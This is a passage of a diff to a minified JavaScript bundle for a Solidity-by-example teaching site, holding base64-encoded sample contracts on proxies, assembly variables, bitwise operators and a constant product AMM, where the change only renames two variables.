yZXZlcnQgc3RhdGUgY2hhbmdlcywgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldmVydCgwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgICAgIGRlZmF1bHQgewogICAgICAgICAgICAgICAgLy8gcmV0dXJuKHAsIHMpIC0gZW5kIGV4ZWN1dGlvbiwgcmV0dXJuIGRhdGEgbWVtW3DigKYocCtzKSkKICAgICAgICAgICAgICAgIHJldHVybigwLCByZXR1cm5kYXRhc2l6ZSgpKQogICAgICAgICAgICB9CiAgICAgICAgfQogIC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V0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJldHVybiBTdG9yYWdlU2xvdC5nZXRBZGRyZXNzU2xvdChzbG90KS52YWx1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiB3cml0ZVNsb3QoYWRkcmVzcyBfYWRkcikgZXh0ZXJuYWwgewogICAgICAgIFN0b3JhZ2VTbG90LmdldEFkZHJlc3NTbG90KHNsb3QpLnZhbHVlID0gX2FkZHI7CiAgICB9Cn0K"}],sy=`

        Example of upgradeable proxy contract. Never use this in production.

        This example shows

        • how to use delegatecall and return data when fallback is called.
        • @@ -3742,7 +3742,7 @@ Each slot in the array can store 32 bytes.

          } } } -`,Dy=({prev:s,next:a})=>r.jsx(A,{version:Fy,title:My,description:Sy,cyfrinLink:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.26",Qy="Assembly Variable",Ty="Example of how to declare variable inside assembly",Uy="https://www.cyfrin.io/glossary/assembly-variable-solidity-code-example",Ly=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],_y=`

          Example of how to declare variables inside assembly

          +`,Dy=({prev:s,next:a})=>r.jsx(A,{version:Fy,title:My,description:Sy,cyfrinLink:xy,html:zy,prev:s,next:a,codes:Jy}),Ey="0.8.26",Qy="Assembly Variable",Ty="Example of how to declare variable inside assembly",Ly="https://www.cyfrin.io/glossary/assembly-variable-solidity-code-example",Uy=[{fileName:"AssemblyVariable.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEFzc2VtYmx5VmFyaWFibGUgewogICAgZnVuY3Rpb24geXVsX2xldCgpIHB1YmxpYyBwdXJlIHJldHVybnMgKHVpbnQyNTYgeikgewogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLy8gTGFuZ3VhZ2UgdXNlZCBmb3IgYXNzZW1ibHkgaXMgY2FsbGVkIFl1bAogICAgICAgICAgICAvLyBMb2NhbCB2YXJpYWJsZXMKICAgICAgICAgICAgbGV0IHggOj0gMTIzCiAgICAgICAgICAgIHogOj0gNDU2CiAgICAgICAgfQogICAgfQp9Cg=="}],_y=`

          Example of how to declare variables inside assembly

          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
          @@ -3756,7 +3756,7 @@ Each slot in the array can store 32 bytes.

          } } } -
          `,Oy=({prev:s,next:a})=>r.jsx(A,{version:Ey,title:Qy,description:Ty,cyfrinLink:Uy,html:_y,prev:s,next:a,codes:Ly}),Py="0.8.26",$y="Bitwise Operators",qy="Learn about bitwise operators in Solidity",sm="https://www.cyfrin.io/glossary/bitwise-operators-solidity-code-example",am=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiB4IF4geTsKICAgIH0KCiAgICAvLyB4ICA9IDAwMDAxMTAwID0gICAwICsgIDAgKyAgMCArICAwICsgOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB+eCA9IDExMTEwMDExID0gMTI4ICsgNjQgKyAzMiArIDE2ICsgMCArIDAgKyAyICsgMSA9IDI0MwogICAgZnVuY3Rpb24gbm90KHVpbnQ4IHgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDgpIHsKICAgICAgICByZXR1cm4gfng7CiAgICB9CgogICAgLy8gMSA8PCAwID0gMDAwMSAtLT4gMDAwMSA9IDEKICAgIC8vIDEgPDwgMSA9IDAwMDEgLS0+IDAwMTAgPSAyCiAgICAvLyAxIDw8IDIgPSAwMDAxIC0tPiAwMTAwID0gNAogICAgLy8gMSA8PCAzID0gMDAwMSAtLT4gMTAwMCA9IDgKICAgIC8vIDMgPDwgMiA9IDAwMTEgLS0+IDExMDAgPSAxMgogICAgZnVuY3Rpb24gc2hpZnRMZWZ0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPDwgYml0czsKICAgIH0KCiAgICAvLyA4ICA+PiAwID0gMTAwMCAtLT4gMTAwMCA9IDgKICAgIC8vIDggID4+IDEgPSAxMDAwIC0tPiAwMTAwID0gNAogICAgLy8gOCAgPj4gMiA9IDEwMDAgLS0+IDAwMTAgPSAyCiAgICAvLyA4ICA+PiAzID0gMTAwMCAtLT4gMDAwMSA9IDEKICAgIC8vIDggID4+IDQgPSAxMDAwIC0tPiAwMDAwID0gMAogICAgLy8gMTIgPj4gMSA9IDExMDAgLS0+IDAxMTAgPSA2CiAgICBmdW5jdGlvbiBzaGlmdFJpZ2h0KHVpbnQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],nm=`
          // SPDX-License-Identifier: MIT
          +
          `,Oy=({prev:s,next:a})=>r.jsx(A,{version:Ey,title:Qy,description:Ty,cyfrinLink:Ly,html:_y,prev:s,next:a,codes:Uy}),Py="0.8.26",$y="Bitwise Operators",qy="Learn about bitwise operators in Solidity",sm="https://www.cyfrin.io/glossary/bitwise-operators-solidity-code-example",am=[{fileName:"Bitwise.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IEJpdHdpc2VPcHMgewogICAgLy8geCAgICAgPSAxMTEwID0gOCArIDQgKyAyICsgMCA9IDE0CiAgICAvLyB5ICAgICA9IDEwMTEgPSA4ICsgMCArIDIgKyAxID0gMTEKICAgIC8vIHggJiB5ID0gMTAxMCA9IDggKyAwICsgMiArIDAgPSAxMAogICAgZnVuY3Rpb24gYW5kKHVpbnQyNTYgeCwgdWludDI1NiB5KSBleHRlcm5hbCBwdXJlIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICByZXR1cm4geCAmIHk7CiAgICB9CgogICAgLy8geCAgICAgPSAxMTAwID0gOCArIDQgKyAwICsgMCA9IDEyCiAgICAvLyB5ICAgICA9IDEwMDEgPSA4ICsgMCArIDAgKyAxID0gOQogICAgLy8geCB8IHkgPSAxMTAxID0gOCArIDQgKyAwICsgMSA9IDEzCiAgICBmdW5jdGlvbiBvcih1aW50MjU2IHgsIHVpbnQyNTYgeSkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHggfCB5OwogICAgfQoKICAgIC8vIHggICAgID0gMTEwMCA9IDggKyA0ICsgMCArIDAgPSAxMgogICAgLy8geSAgICAgPSAwMTAxID0gMCArIDQgKyAwICsgMSA9IDUKICAgIC8vIHggXiB5ID0gMTAwMSA9IDggKyAwICsgMCArIDEgPSA5CiAgICBmdW5jdGlvbiB4b3IodWludDI1NiB4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nQyNTYgeCwgdWludDI1NiBiaXRzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYpCiAgICB7CiAgICAgICAgcmV0dXJuIHggPj4gYml0czsKICAgIH0KCiAgICAvLyBHZXQgbGFzdCBuIGJpdHMgZnJvbSB4CiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHModWludDI1NiB4LCB1aW50MjU2IG4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NikKICAgIHsKICAgICAgICAvLyBFeGFtcGxlLCBsYXN0IDMgYml0cwogICAgICAgIC8vIHggICAgICAgID0gMTEwMSA9IDEzCiAgICAgICAgLy8gbWFzayAgICAgPSAwMTExID0gNwogICAgICAgIC8vIHggJiBtYXNrID0gMDEwMSA9IDUKICAgICAgICB1aW50MjU2IG1hc2sgPSAoMSA8PCBuKSAtIDE7CiAgICAgICAgcmV0dXJuIHggJiBtYXNrOwogICAgfQoKICAgIC8vIEdldCBsYXN0IG4gYml0cyBmcm9tIHggdXNpbmcgbW9kIG9wZXJhdG9yCiAgICBmdW5jdGlvbiBnZXRMYXN0TkJpdHNVc2luZ01vZCh1aW50MjU2IHgsIHVpbnQyNTYgbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIDEgPDwgbiA9IDIgKiogbgogICAgICAgIHJldHVybiB4ICUgKDEgPDwgbik7CiAgICB9CgogICAgLy8gR2V0IHBvc2l0aW9uIG9mIG1vc3Qgc2lnbmlmaWNhbnQgYml0CiAgICAvLyB4ID0gMTEwMCA9IDEyLCBtb3N0IHNpZ25pZmljYW50IGJpdCA9IDEwMDAsIHNvIHRoaXMgZnVuY3Rpb24gd2lsbCByZXR1cm4gMwogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgdWludDI1NiBpID0gMDsKICAgICAgICB3aGlsZSAoKHggPj49IDEpID4gMCkgewogICAgICAgICAgICArK2k7CiAgICAgICAgfQogICAgICAgIHJldHVybiBpOwogICAgfQoKICAgIC8vIEdldCBmaXJzdCBuIGJpdHMgZnJvbSB4CiAgICAvLyBsZW4gPSBsZW5ndGggb2YgYml0cyBpbiB4ID0gcG9zaXRpb24gb2YgbW9zdCBzaWduaWZpY2FudCBiaXQgb2YgeCwgKyAxCiAgICBmdW5jdGlvbiBnZXRGaXJzdE5CaXRzKHVpbnQyNTYgeCwgdWludDI1NiBuLCB1aW50MjU2IGxlbikKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2KQogICAgewogICAgICAgIC8vIEV4YW1wbGUKICAgICAgICAvLyB4ICAgICAgICA9IDExMTAgPSAxNCwgbiA9IDIsIGxlbiA9IDQKICAgICAgICAvLyBtYXNrICAgICA9IDExMDAgPSAxMgogICAgICAgIC8vIHggJiBtYXNrID0gMTEwMCA9IDEyCiAgICAgICAgdWludDI1NiBtYXNrID0gKCgxIDw8IG4pIC0gMSkgPDwgKGxlbiAtIG4pOwogICAgICAgIHJldHVybiB4ICYgbWFzazsKICAgIH0KfQo="},{fileName:"MostSignificantBitAssembly.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEFzc2VtYmx5IHsKICAgIGZ1bmN0aW9uIG1vc3RTaWduaWZpY2FudEJpdCh1aW50MjU2IHgpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAodWludDI1NiBtc2IpCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNywgZ3QoeCwgMHhGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRkZGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIC8vIG9yIGNhbiBiZSByZXBsYWNlZCB3aXRoIGFkZAogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg2LCBndCh4LCAweEZGRkZGRkZGRkZGRkZGRkYpKQogICAgICAgICAgICB4IDo9IHNocihmLCB4KQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIGxldCBmIDo9IHNobCg1LCBndCh4LCAweEZGRkZGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoNCwgZ3QoeCwgMHhGRkZGKSkKICAgICAgICAgICAgeCA6PSBzaHIoZiwgeCkKICAgICAgICAgICAgbXNiIDo9IG9yKG1zYiwgZikKICAgICAgICB9CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBsZXQgZiA6PSBzaGwoMywgZ3QoeCwgMHhGRikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDIsIGd0KHgsIDB4RikpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gc2hsKDEsIGd0KHgsIDB4MykpCiAgICAgICAgICAgIHggOj0gc2hyKGYsIHgpCiAgICAgICAgICAgIG1zYiA6PSBvcihtc2IsIGYpCiAgICAgICAgfQogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgbGV0IGYgOj0gZ3QoeCwgMHgxKQogICAgICAgICAgICBtc2IgOj0gb3IobXNiLCBmKQogICAgICAgIH0KICAgIH0KfQo="},{fileName:"MostSignificantBitFunction.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IE1vc3RTaWduaWZpY2FudEJpdEZ1bmN0aW9uIHsKICAgIC8vIEZpbmQgbW9zdCBzaWduaWZpY2FudCBiaXQgdXNpbmcgYmluYXJ5IHNlYXJjaAogICAgZnVuY3Rpb24gbW9zdFNpZ25pZmljYW50Qml0KHVpbnQyNTYgeCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IG1zYikKICAgIHsKICAgICAgICAvLyB4ID49IDIgKiogMTI4CiAgICAgICAgaWYgKHggPj0gMHgxMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTI4OwogICAgICAgICAgICBtc2IgKz0gMTI4OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogNjQKICAgICAgICBpZiAoeCA+PSAweDEwMDAwMDAwMDAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDY0OwogICAgICAgICAgICBtc2IgKz0gNjQ7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAzMgogICAgICAgIGlmICh4ID49IDB4MTAwMDAwMDAwKSB7CiAgICAgICAgICAgIHggPj49IDMyOwogICAgICAgICAgICBtc2IgKz0gMzI7CiAgICAgICAgfQogICAgICAgIC8vIHggPj0gMiAqKiAxNgogICAgICAgIGlmICh4ID49IDB4MTAwMDApIHsKICAgICAgICAgICAgeCA+Pj0gMTY7CiAgICAgICAgICAgIG1zYiArPSAxNjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDgKICAgICAgICBpZiAoeCA+PSAweDEwMCkgewogICAgICAgICAgICB4ID4+PSA4OwogICAgICAgICAgICBtc2IgKz0gODsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDQKICAgICAgICBpZiAoeCA+PSAweDEwKSB7CiAgICAgICAgICAgIHggPj49IDQ7CiAgICAgICAgICAgIG1zYiArPSA0OwogICAgICAgIH0KICAgICAgICAvLyB4ID49IDIgKiogMgogICAgICAgIGlmICh4ID49IDB4NCkgewogICAgICAgICAgICB4ID4+PSAyOwogICAgICAgICAgICBtc2IgKz0gMjsKICAgICAgICB9CiAgICAgICAgLy8geCA+PSAyICoqIDEKICAgICAgICBpZiAoeCA+PSAweDIpIG1zYiArPSAxOwogICAgfQp9Cg=="}],nm=`
          // SPDX-License-Identifier: MIT
           pragma solidity ^0.8.26;
           
           contract BitwiseOps {
          @@ -4211,7 +4211,7 @@ specify the location of the data.

          uint80 answeredInRound ); } -
          `,Qm=({prev:s,next:a})=>r.jsx(A,{version:Sm,title:xm,description:Jm,cyfrinLink:zm,html:Em,prev:s,next:a,codes:Dm}),Tm="0.8.26",Um="Constant Product AMM",Lm="Constant product AMM",_m="",Om=[{fileName:"CPAMM.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IENQQU1NIHsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMDsKICAgIElFUkMyMCBwdWJsaWMgaW1tdXRhYmxlIHRva2VuMTsKCiAgICB1aW50MjU2IHB1YmxpYyByZXNlcnZlMDsKICAgIHVpbnQyNTYgcHVibGljIHJlc2VydmUxOwoKICAgIHVpbnQyNTYgcHVibGljIHRvdGFsU3VwcGx5Ow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ICAgICAgICBfdXBkYXRlKAogICAgICAgICAgICB0b2tlbjAuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCB0b2tlbjEuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhZGRMaXF1aWRpdHkodWludDI1NiBfYW1vdW50MCwgdWludDI1NiBfYW1vdW50MSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKHVpbnQyNTYgc2hhcmVzKQogICAgewogICAgICAgIHRva2VuMC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzK